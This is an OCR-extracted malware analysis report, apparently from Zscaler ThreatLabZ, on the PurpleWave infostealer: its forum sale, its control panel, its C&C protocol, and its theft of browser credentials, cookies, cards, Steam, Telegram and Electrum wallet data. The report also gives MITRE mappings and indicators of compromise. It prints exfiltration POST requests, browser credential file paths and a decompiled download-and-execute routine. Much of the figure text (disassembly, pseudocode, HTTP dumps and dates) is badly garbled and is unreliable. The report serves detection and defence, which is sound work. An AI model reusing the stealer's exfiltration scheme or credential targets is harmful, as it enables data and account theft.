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Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected
with this malware could be sold in the cybercrime underground or used for credential stuffing attacks. The Zscaler
ThreatLabZ team came across a new Infostealer called PurpleWave, which is written in C++ and silently installs
itself onto a user’s system. It connects to a command and control (C&C) server to send system information and

installs new malware onto the infected system.

The author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000
RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.

PurpleWave Stealer | We want to be the best!

DESCRIFTION AND FUNCTIONS

Purplewave

& PurpleWave - a new c ++ stealer

New Member Our advantage is that our stealer has a minimum of dependencies.
Great customization of data collection.
You are not limited in the list of collected information, you can add your request without any problems.

1. Robbery of passwords, cookies, cards, auto-complete forms, stories from Chromium browsers (Chrome 80+ supported) and Mozilla
browsers (Recursive collection)

2. Ability to write custom paths to collect files with a bunch of parameters.
3. Screenshot

4. System information

5. Fake error installed from the panel

6. 2FA authorization in the panel

7. Pure C ++ code

8. Data encryption in the program

9. Weight less than 600Kb (Under UPX less than 300Kh)

10. Convenient and simple panel

11. Additional 1ap in telegrams.

12. There is a panel with full statistics for your workers (spammers)
13.Domain-sorter

14. Loader (loading and launching your files 1o the device)

15. 24/7 support The

Figure 1: A PurpleWave selling post on a Russian forum.

The author selling PurpleWave claims that this stealer is capable of stealing passwords, cookies, cards, and autofill
forms of Chromium and Mozilla browsers. This stealer also collects files from the specified path, takes

screenshots, and installs additional modules.
The capabilities of the PurpleWave stealer include:

 Stealing passwords, cookies, cards, autofill(s) data, browser history from Chromium and Mozilla.
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e Collecting files from the specified path
e Capturing the screen

 Stealing system information
 Stealing Telegram session files

o Stealing Steam application data

e Stealing Electrum wallet data

» Loading and executing additional module/malware
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Figure 2: The PurpleWave login panel.

The author also built a dashboard where the attacker can keep an eye on the infection counts according to dates,

access the stolen logs of infected machines, and change the malware configuration settings.
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Figure 3: The PurpleWave infection dashboard.

The dashboard also provides the attacker with the ability to customize the configuration of the PurpleWave stealer.
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Figure 4: The dashboard for customizing the PurpleWave configuration.
Technical analysis

Upon execution of the PurpleWave binary, it gives a fake error message in the Russian language that can be

customized by the attacker in their panel. But in the background, it performs all of its malicious activities.

e

Owwmbka Windows [0007 0:0007] ==

[8} [0007 0x0007] MoepexieHel yNpaenAmnLWwme BNoKW NaMATH

Figure 5: The fake error message in Russian. (It translates to: Memory control blocks damaged.)

The name of the stealer (PurpleWave) and the version (1.0) are hardcoded and encrypted in the binary. Most of the
strings in the binary are encrypted, but they get decrypted on runtime with the help of the decryption loop present

in the binary (shown in Figure 6).
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@ACDB?6A || .. 7E 53 JLE SHORT dSec%8c?.B@BCDE?BF
@AACDB?6C || > 894D D4 -MOU [LOCAL.111.ECX

@ACDB?6F || . 85C9 TEST ECX.ECR

@ACDB?71 || .. 7E 34 JLE SHORT dSec%8c?.BABCDE7A7
AACDB?73 || . 8A141A MOU DL.BYTE PTR DS:[EDX+EBX1
@ACDE?76 || . 8BDY? MOU EBX.ECX

@ACDE?78 (| > 8acA -MOU CL.DL

AACDB?7A || . ©2C9 ADD CL.CL

@ACDB?7C || . 8aC1 MOU AL.CL

AACDB?7E || . BC A1 OR AL.1

@AACDE?8A8 || . 84D2 TEST DL.DL

@AACDE?82 || . BFB6CA MOUZX EAX.AL

AACDB?85 || . 8945 EC MOU [LOCAL.S51.EAX

@AACDE?88 || . SBDA MOU EDX.EnX

AACDB?8A || . BFB6CL MOUZX EAX.CL

@acCDB?8D || . ©F49D0 CMOUNS EDX.EAX

@ACDB?9@ || . 8955 EC MOU [LOCAL.51.EDX

AACDB?93 || . 83ER A1 SUB EBX.1

@AACDB?96 || .~ 75 EA LINZ SHORT d5ec%8c?.@ACDE?78
@AACDB?98 || . 8BSD FB MOU EBX. [LOCAL.41

AACDB?9B || . 8B55 EP MOU EDX. [LOGAL.8]

@ACDB?9E || . 8B45 EC MOU EAX. [LOCAL.5]

AACDB?A1 || . &B4D DC MOU ECY.[LOCAL.91

AACDE?A4 || . 88@41a MOU BYTE PTR DS: [EDX+EBX1.AL
@ACDB?ZA? || > 8D41 @1 LEA EAX.DWORD PTR DS:[ECX+11
AACDB?AA || . 42 INC EDX

@ACDE?AB || . 33C9 HOR ECX._ECX

@AACDB?AD || . 8955 EB MOU [LOCAL.81.EDX

@ACDE?7EA (| . 41 INC ECX

@ACDB?B1 || . 837D D4 @7 CMP [LOCAL.111.7

AACDB?BS || . BF45C8 CMOUNE ECY.EfX

AACDE7BS || . 894D DC MOU [LOCAL.91.ECK

@AACDE?BE || . 3BD6 CMP EDX.ESI

@AACDB?BD || .~ 2C AD LJL SHORT d5ec98c?.AACDB?6C
OACDEZBF || > 8B4D E8 MOU ECX.ILOGAL.61 =~
fiddress |Hex dump AscIlI

BRZAYL 48 5 L T O
T T 11
QU . . —. Y _FPBY.

FE |EE FE EE FE|EE FE EE FE|EE FE EE FE| €EIERERENCRENENC]D
#7580 |EE FE EE FE |EE FE EE FE|EE FE EE FE|EE FE EE FE| |€EICRCICICICICIC]

Figure 6: The common decryption function for the encrypted strings in the binary.

The PurpleWave binary creates a mutex with the name “MutexCantRepeatThis” to avoid multiple executions of
malware instances. After that, it sends the HTTP POST request with the custom header and body to the C&C URL

to get the configuration data.

ne1477@8 (| > FF76 18 PUSH DWORD PTR DS:[ESI+1@1]
AB14796B8 (| . 58 SH EAX

AB1479@C (| . 60 BA a

B@14796@E (| . 6A B a

AR147918 57 EDI

. FFi5 843210680 GALL DWORD FTR DS : [<&WININET.HttpSendRequestW>]
aa147717?7 (| . 85CA TEST EAX.EAX
aa147919 -v 73 69 JHZ SHORT dSec?8c?.WW147984
Ap14791 B SB35 283217068 MOU ESI.DWORD PTR DS:[<{&WINIMET.InternetCloseHandle WINIMET.InternetCloseHandle
aa147921 - 57 PUSH EDI
aa147922 - FFD& CALL ESI <BWININET .InternetCloseHandle >
AR147924 FFBS BAFBFFFF PUSH [LOCAL.2761

DS : [AB1A3284 1=75n7BA12 (MININET .HttpSendRequesth>

WINIMNET .HttpSendRequestW

Address ) PuSFF4A4 | Bee@apeea

A@1F8198 61[72 72 61 73|77 65 6C 6C bhoundaryaswell BOIFF4AC | DPOBBAS?
WA3FF4BA| BOS3ICFCD
AB3FF4B4 | @@1BiCC?7 |(dbec?8c? .BB1B1CC?
B@3FF4B8 | @@1F7FF@
BA3FF4BC| @0AARAAA

- .(_:nntent—])lﬂpns
It creates an HTTP request header with content type as “form-data”. The boundary is assigned with

5
AB1F81ES |65 6C 6C 2D |2D AD BA BA | AD F@ AD BA |BD FA AD BA

Figure 7: Sending request to the C&C server to get the config data.

“boundaryaswell” to act as a marker and user agent is set with “app”. It creates a request body with a form name

as “id” and the value assigned to it is 1.
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ontent-Type: multipart/form-data; charset=utf-8; boundary=boundaryaswell
User-Agent: app
Host:
Content-Length: 87
Connection: Keep-Aliwve
Cache-Control: no-cache

FOST /config HTTP/1.1

--boundaryaswell
Content-Disposition: form-data; name="id";

1
--boundaryaswell--
T 55 O
server: nginx-reuseport/1.13.4

Date: Tue, 84 Aug 2828 85:56:35 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

kKeep-Alive: timeocut=38@

Vary: Accept-Encoding

X-Powered-By: PHP/7.4.8

Expires: Thu, 19 Nov 1981 88:52:88 GMT

Cache-Control: ne-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: PHPSESSID=51f75b5572288c6daee63bbbfda273b3; path=/

117
{"fake":{"text":" @067 B8x08087] NospemxgeHd ynpaenAoune Browkw namatu”, "header”:"Ownbxa Windows [@887 @xB887 ]

s Ttype”: 1"}, "dirs™:[{"name”:"ger”, "path”: "Pabounii cTon","size™:8.5,"recursive”1true,"rc”:0, "formats":null}], "loaders":[]1}

Figure 8: The configuration request with the custom header and body.

The received data contains the customized configuration, which may change per the binary. We have observed

three different configurations and different hosts of the PurpleWave binaries.
l#.Configuration from different PurpleWave binaries
Figure 9: The configuration from different PurpleWave binaries.

dirs - It consists of directory information from which files to be collected.
fake - It has the fake alert message to be shown to the user on execution.

loaders - It consists of an additional module name to be installed on the infected system.

For Config-2, PurpleWave will traverse path “%userprofile%/Desktop” and collect the files having extensions txt,
doc and docx. In Config-3, it will not collect any files but it has a module named “Kv2TDW40” in the loaders,

which will get downloaded and executed on the system.

Installing additional modules

For installing additional modules mentioned in the received configuration (Config-3), PurpleWave again creates
an HTTP POST request with the same headers mentioned in the previous request to the C&C host followed by

“/loader/module_name”.
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POST /loader/Kv2TDW40 HTTP/1.1

User-Agent: app

Content-Type: multipart/form-data; charset=utf-8; boundary=boundaryaswell

Host:

Content-Length: 28
Connection: Keep-Alive
Cache-Control: no-cache

--boundaryaswell--

HTTP/1.1 268 0K

Server: ddos-guard

Connection: keep-alive

Keep-Alive: timeout=68

Date: Sun, 82 Aug 2026 12:37:10 GMT
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 @8:52:88 GMT
Cache-Control: no-store, ne-cache, must-revalidate
Pragma: no-cache

Transfer-Encoding: chunked

Cookie: _ ddgl=YSEeltlHmlzePfGljgd4Y; PHPSESSID=97186d8d5bd5451b7bdEac7Bcfcifava

Figure 10: The request to download an additional module.
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PurpleWave enumerates the loaders list from a JSON configuration, downloads the module name from the C&C

server and stores it in %appdata% directory, then executes it.
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[if ( tsub_uea9e6(al - 72, "none) ) |
T

ub sub_4313DB(56) ;
uf = uh;
*#{al — 28) = vio;
#{al - 4y = 4;
sub_44BF708({v6, B, 56);
U = sub_H1SE28(u7);
*#{al - 4) = 3;
| ug = ug;
sub_4B8494B{al - 72);
ulB = sub_4BECHB(a1 - 328);
=#{al - 4y = 53
if { =(uiB + 28) >= 8u )}
vid = =uif;
sub_H¥17799(al1 - 48, vid);
*#{al - 4) = ¥;
sub_48462D(a1 - 328);
sub 44BF7A8{al1 - 384, B, 176);
| ul1 = a1 + 32;
if { ={(a1 + 52) >= 8u )
ull = ={al + 32);
sub_48F36A(vi11, vis, vl9, v2d);
#{al + =({={al - 384) + 4) - 3Fou)
#{al + =({={al - 384) + 4) - 388)
#{al - 4) = 8;
if { ={a1 - 224) )
{
ul2 = al - 48;
I uld = ={ud + 52};
if { =(al1 - 28) >= Ox10u )
12 = ={al - u8);
sub_4BED3I4{viZ, uvi3, HIDWORD(vi3));
if { tsub_4BAM2E{a1 - 388) )

&off_L81E3C;
=({*({a1 - 384) + 4) - 104;

{
ulh = ={=x{al - 384%) + 4) + a1 - 3J84;
1S = 6;
if { =(ui1% + SA) )
uls = 2;
| sub_ 4B869AB(x{vi1lL + 12) | vi5, @);
H

plég = (a1l + 32);
if { =(al + 52) >= 8u )

T AV S N L B W)
L3

ShellExecuteW(®, L open™, ui6, 8, 8, 1);

Figure 11: Downloading and executing additional modules.

The downloaded module that we observed in some PurpleWave binary is the Electrum wallet stealer, which is

written in .NET and capable of stealing Electrum wallet data from the infected system.
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input = clB.Trim(
R |

IsMatch({input);

origTxt)

Figure 12: Collecting Electrum wallet data.
Data stealing

PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from

Chromium and Mozilla.

For Chromium browsers, it fetches the login credentials from “\%AppData%\Local\{ Browser }\User
Data\Default\L.ogin Data”, cookies from ‘“\%AppData%\Local\{ Browser }\User Data\Default\Cookies”, and other
information, such as autofills data, card data, and browser history, from “\%AppData%\Local\{ Browser}\User
Data\Default\Web Data”.
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CTexTTANGT7 TR0 50 push Eax | text : 88416080 push cax

_Eext:@0417101 BA 70 28 B @ oy edx, aFfset abrowser ; “Lros oo, | POX, BFFSEC aBFOWSEr : “Drowser[”
Cextz00417106 80 BD CC FE FFe 1ea ecx, [ebp-134n] FE FFs lea ecx, [ebp-11Ch]

.text:00u1710C EQ FO BL FF FF call  sub_ubF&md FF FF call  sub ABFGO1

SEextz0DM17111 B6 45 FC SE noy byte ptr [ebp-&], SEh ) nou byta ptr [ebp-h], ¢

LEextz0mAT115 8 CH noy ecx, eax now ecx, eax

SEextzBATIAT EF B4 24 kA 2Ce noy [espré+var_B], offset aForms ; ] & 28+ Juid [espsa+var_8], offset aPasswords ; “)[passwords)(
-bext:OB41711E EB €5 ZF FF FF call sub_4BABES FF FF call sub_KBARES

-bext:OBMIT23 S8 push pax push vax

_Eextz@RW7125 B0 BD FC FE FFe lea wex, [ebp-104n] FE FFs lea ecx, [ebp-164h]

_Lext:za0u1712 ER 53 01 FE FF call  sub_uBh?sz FE FF £all  sub BOL2EZ

_text:A0UITIZF 56 push esi push esi

.bext:00417130 8D B5 FC FE FFe 1ea eax, [ebp-104n] FE FFe lea eax, [ebp-104h]

.Eext:0M1T136 C6 45 FC SF oy byte ptr [ebp-4]. 5Fh ' now byte ptr [ebp-h], OAR

.Eextzo0N17134 58 push  eax push  eax

LEextz0ON7198 FF BS AC FF FFe push  dword ptr [ebp-oaah] FFFFs push  dword ptr [ebp-0Bih]

textzBOMTIN1 8D BD 14 FF FFe lea ecx, [ebp-HECh] FF FF» lea vex, [ebp-BECH]

SbextzBB4ITI4T EB 69 BE FF FF call sub_kBAFBS FF FF call sub_&BAFRS

LLextOBMITING 68 38 PC BB @0 push  offset allalue  : J[value]” 18 00 push  offset alogin  ;

_bext:@0L17151 80 8D 14 FF FFs lea eex, [ebp-BECH] FF FFs lea vex, [ebp-BECH]

_Eext:@OW17157 C6 45 FC 60 oy byte pti- [ebp-5], 600 -h], 8B :
_text:00417150 E8 B8 2F FF FF call  sub_uBAOER Autofill data L i ol ool Credentials
-text :@OL16ICD 5@ push  eax L text:BON16001 50 push  eax

.text:@O4163CE DA 70 20 B8 00 now edx, offset alvowser | text:BON160DZ BA 70 26 48 00 nou e, DFfset aBrouser ; “brouser|

.TeXtIOI16303 B0 BD CC FE FFe 1ea ecx, [ebp-134n] text:BBK160D7 BD BD CC FE FF+ lea wcx, [ebp-138h]

.textzBM16300 ER 23 02 FF FF call  sub_uDF6 text:BBN1GDDD E8 1F 88 FF FF call  sub_bOFEE

~textO8GIDE C6 WS FC 19 oy byte ptr [ebp-a], 1%h L LexL:RONIGDER C6 45 FC ME moiy nyte pte [ebp-4], Eh

Stext IBB4163E2 8B C8 nov BCX, BaX .text:DAN16DES BE CR mou eCK, Bax

Stext:BO4163EN C7 04 24 Ch 2B oy [esp+B+var_§], offset aCards ; “'][ca . LexL:RONIGDER (7 O4 25 F@ 2B+ mow [esp*Bevar_8], offset aCookies ; “J[cockles]["
text SABN163ER ER F8 30 FF FF call  sub_NBAGER text:DBN16DEF B Fi 32 FF FF €all  sub_hOABER

-text :@04163FA 5@ push "ax . text:@ON160FY 50 push eax

-text:@O4163F1 8D BD FC FE FFe lea ecx, [ebp-10uh] . TEXTIMONIGOFS BD BD FC FE FF+ 1ea ecx, [ebp-10an]

-Lext:00N163F7 E8 BE DE FE FF call Sub_4Du2E2 L text:OBK1G0FB EB B2 Db FE FF call Sub_hinzez

-text :0M16IFC 56 push esi . text : BONIGE D push esi

.textOON163FD B0 B5 FC FE FPe lea eax, [ebp-104n] 85 FC FE FF+ lea wax, [ebp-10kh]

LtextIHMAGABS Co 45 FC 1R nou bute ptr [ebp-A]. 1Ah K5 FC 4F mou byte pte [ebp-h], WFh

Stextz 016407 S8 push eax . Lext : BN 16E 08 push eax

Stext D@ 164BE FF BS NG FF FFe push dward ptr [ehp-6Esh] _text:BAK1EEAC FF 05 LC FF FF+ push duord pte [ebp-BELL]

Stext @04164BE 8D BD 14 FF FFe lea wex, [ebp-GECH] . text:@O416E1Z BD B0 15 FF FF+ lea eck, [ebp-BECh]

-text Q0416415 ER 9C BB FF FF call  sub_NBAFBS .text:BOA1GE1E EB 9B 41 FF FF call  sub_BORFES

-LexL:00M16419 68 BC 2B B8 00 push offset abate : "l[wate]” . text:0OA16E1D 68 38 2C 48 00 push offset alalve ; “][value]”

-text:@M4164E BD BD 14 FF FFe lea ecx, [ehp-0ECh] L text:B@A16EZZ §D BO 14 FF FFr lea ecx, [ebp-BECh

~Lext:QO41642L C6 45 FC 16 oy byte ptr [ebp-a], 1Bh .text:BANIGEZE [6 WS FC 58 mou byte ptr [ebp-i], S@h N
_text:@0M16428 EA BB 3C FF FF call Sub_uBa0ES Card data | | text:eeniac2c £8 87 22 FF FF call  sub_hBABER Cookies

Figure 13: Stealing browser data.

The stolen browser info is collected in the form of a form-data field with the names shown below followed by

their value.

Username - browser[BrowserName][passwords][index][login]
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Password - browser[ BrowserName][passwords][index][password]

--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][passwords][@][url]™;

https://www.aynaox. com/login.php
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][passwords][@][login]™;

admin
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][passwords][@][password]™;

admin!23

--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][cookies][3][domain]™;

.google. com
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][cookies][3][flag]™;

FALSE
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][cookies][3][path]";

/complete/search
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][coockies][3][secure]™;

FALSE
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][cookies][3][expiration]”;

2123736822
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][cookies][3][name]™;

eIl
--boundaryaswell
Content-Disposition: form-data; name="browser[Chrome][cookies][3][value]™;

LnZ@ZXheL2zhablwsYXBwbGl jYXRpb24veahablwreGlsLGFwcaxpY2F@aWduLl3htbitxPTAUOSxpbWFnZS9:
pY2FBakWouL3NpZ2517C11eGNoYWSNZTE2PWIY
--boundaryaswell

Figure 14: Stolen browser information.

Along with the browser’s data, the stealer captures the current screen and appends it to the browser's stolen data in

the form-data with the filename as “screenshot.png”.
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——boundarvaswell
Content-Disposition: form-data; name="screenshot™; filename="screenshot.png” I

. PNG
IHDR. - cu-w- ey A e CSRER gAMAL . ... Hoets [i 5 A e o TDATES . v e e !.%%..t.CB*.5%..Fh!
By 6 BT T s e Flthw. . seld. 3. 5. M.t Bk b Wi ookl e an e B Ll e e
L A A : HEh e s e s Lo R (] PRSI
e S S i e T e e o RS e e v R M R ST et e TR S e
+.fo.afWH. .0).~.e...22T. ... ] -V W00 oL Ll g
S B R e R e e IR e [ W s P SR BEFO. - i.pa. ¥ L2
T PR 5 o IR SRR R PR L PR O B e B R e TR A e P e e R "0.AMbAN . . L Q- =T
s e M s T i T i IR | AR TR B S e e e Al S Rl S S | O L
b1 TR R S e TR e s R R L S s B o T 2 SR o R T PR e T s
o il Brase. i85, SR DL BT LB O e C e B e PTEOQT  Y Th  H  als LL GEL LR,
BB L e SR MRS SO0 e i G [T BE o TN | AR I o A ], cae5e S D L SEBRL P CTwilE S XE L
B o
BRDY L a O R T g s e S R d L ha T N e s SRS S Tek s GG 3PN T = P S G v TR | R - 1B PR B i e
P RS e e L S e i T, Fethaen SR T R, BNEREIS E SER | [Sl  RE  a | B EE IR e

E A e R A e

Figure 15: A captured screenshot.

After that, it collects all the information about infected systems, such as operating system, CPU info, GPU info,

machine GUID, username, machine name, and more.
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Content-Disposition: fnrm—data;lname="sys_data";I
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Purplelave v1.8

Windows 05:

...... PC: 216841
GPU: Microsoft Basic
CPU:

ID: CPU@

--boundaryaswell
Content-Disposition:

1
--boundaryaswell
Content-Disposition:

{486b3eec-
- -boundaryaswell
Content-Disposition:

Windows
--boundaryaswell
Content-Disposition:

PO s
--boundaryaswell
Content-Disposition:

216841
--boundaryaswell
Content-Disposition:

1.8
--boundaryaswell
Content-Disposition:

--boundaryaswell
Content-Disposition:

6eRO63 ]

form-data;Iname="windnws";|

furm-data;Iname="username";|

farm-data;|name="ver510n";|

form-data; [name="spamerhash”

Figure 16: The system information collected by PurpleWave.

The stealer also collects the SSFN files from the Steam application. The Steam application is used for playing,
discussing, and creating games. The SSFN file exists to verify the users each time they login to their Steam

account. It fetches the Steam path from the registry “Software\\Valve\\Steam” and reads all the SSFN files stored

into the config directory.

PurpleWave also steals session-related files from the Telegram application. It reads the value of the default key in

the system registry branch “HKCU\Software\Classes\tdesktop.tg\DefaultIcon” to obtain a path of Telegram and

CPU

ES645 (@ 2.48GHz

collects all the files starts with “map” in the “D877F783D5D3EF8C” directory.
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For { ={ BYTE
{

sub_UB1AER(a1, al - 3-49),
w(_ mm "}(al - B =

= . ulf, ul7, (HHEY)u18) )
{
|sun WBNIBZ((int)&u13, (int)L"SteamPath™});
SATIAOOCaT = 1AW, U7, UTT, UT5, U1h, ¢17, vig);
*(_DUORD #)(al - ¥) = 1;
if ( t{unsigned mrn)suu BOSC2Z9(a1 - 140) )
4
sub_&BLCIT(a1 - 148);
= BYTE =)(a1 - &) = 2;
sub_4B39EG(a1 - NA);
uif = 723
#(_BYTE #*)(a1 - &) = 3;
sub_M48FTB({void »)(a1 = 114), @, vid);
sub_W8334B(a1 - 284);
sub_MABF7O((void =)(al - 212), B, Ox4Bu);
sub_W@1DA3(a1 - 212);
«){al - &) = &; (unsigned __ int@)sub_4BNDAP(a1 - 116, a1 - 212); vd = B )

sub_SBIAE(aT1, a1 - 308);
=(_BYTE »}(al - 4) = &;

u{ | BYTE »3{al = 4) = 73
sub ) hea62D0((void =)(al - 30@));
1f ( vibh t= =1 )

sub_436C2(a1 - 88);

Sub_HBAREI(a1, a7 - 276);

SCBYIE (a1 - 4) = 9

oThn T
w{_BYTE unn - u) -7
sub_4@ub2D{{void =)(al - 276));

1f T v15 t= -1)
sub_4B36C2(a1 - 88);
sub_EECI(a1 - 96);

H
while ( tsub_WBWDBB(=#( DWORD #=){al - 96) + 8, ##( DUDRD *+){al - 176) + 8) );
vl = w{HKEY ==){ai - 248);

uh = sull MU‘JZZM SSII'I ) ;|

Steam data

Telegram data

Figure 17: Collecting Steam and Telegram data.

PurpleWave merges all the collected file data, browser data, screenshots, Steam data, Telegram data, and system

info, then sends it to a C&C server using an HTTP POST request.

POST fgate HTTP/1.1

User-Agent:
Host: H
Content-Length: 581254
Connection: Keep-Alive
Cache-Control:
Cookie:

app

Content-Type: multipart/form-data; charset=utf-8;

no-cache
PHPSESSID=51T75h5572288c6daeea3bebfdaZi3b3

Figure 18: Sending stolen data to C&C server
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The observed indicators in this attack were successfully blocked by the Zscaler Cloud Sandbox.
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Figure 19: The Zscaler Cloud Sandbox report for PurpleWave.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various
levels. The following advanced threat protection signatures have been released for detecting the malware:
Win32.PWS.PurpleWave

Conclusion

Zscaler believes that PurpleWave represents an active and ongoing threat, as the C&C servers are still alive and
responding as of this writing. The malware also still appears to be available for purchase on the black market.
PurpleWave has incredible potential to steal sensitive information. The malware is in the early stages of
development, with the author likely to enhance its stealing capabilities and add more features. We will continue to

keep track of this threat to ensure coverage.

MITRE ATT&CK™ tactic and technique mapping

Tactic Technique

T1083 File and directory discovery
T1082 System information discovery
T1033 System user discovery

T1124 System time discovery

T1016 System network configuration discovery
T1020 Automated exfiltration

T1041 Exfiltration over C&C channel
T1071 Uses web protocols

T1105 Downloads additional files
T1555 Credentials from web browsers
T1539 Steal web session cookies
T1005 Data from local system

T1113 Screen capture

Indicators of Compromise (IOCs)

Hashes
B18BCB300AE480B16A0E0B9110E1C06C
D8A36DCE73E91780B52B6F387C5CFD78
9E4D3F4439ED39C01F3346FBDB7488AE
657C3DDAFF433067C7F74F3453C7EB37
E770544551F94296B9A867E42435206F
E23DED17CDF532790F708E8A550969EB
BC693652D5F57E792551C3A62049BA0B
B5FB35BE12C66F16F55AF2C2ABC77E55
AD24A6614C528DE81283FE4A618682C7
AC17A56355914E231B2AD52E45D6F779
7A728F42940F5BCB50AC9A5C57C1D361
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53BC8E68A9028C58941B78E4AD867B83
394298EED78D455416E1E4CFODEB4802
30898909FD4BF93FE23C62E6962BED11
02350FFA6B82CD2079797ED4BA1DD240
0212EB9562992DA05AB28EFFBOD64D8A
01C8D886BD213F983D0FD5AD35D78A9A

URLs

sh1213709[.]a[.]had[.]su/config

sh1213709[.]a[.]Thad[.]su/gate
sh1213709[.]a[.]had[.]sw/loader/Kv2TDW40
sh1213709[.]a[.]had[.]su/loader/9ZNzBRpT
sh1213709][.]a[.]had[.]su/loader/Ds5UabYT
sh1213709][.]a[.]had[.]su/loader/MTIQKS8IV
manget6z[.]beget[.]tech/config

manget6z[.]Jbeget[.]tech/gate
ec2-3-134-252-78[.]Jus-east-2[.]Jcompute[.]Jamazonaws|.]Jcom/config
ec2-3-134-252-78[.]us-east-2[.]Jcompute[.]amazonaws[.]com/gate
bibaibobal[.]beget[.]tech/config

bibaibobal[.]beget[.]tech/gate

sumakokl[.]beget[.]tech/config

sumakokl[.]beget[.]tech/gate

ikaschyn[.]beget[.]tech/config

ikaschyn[.]beget[.]tech/gate

h98801x4[.]beget|[.]tech/config

h98801x4[.]beget[.]tech/gate
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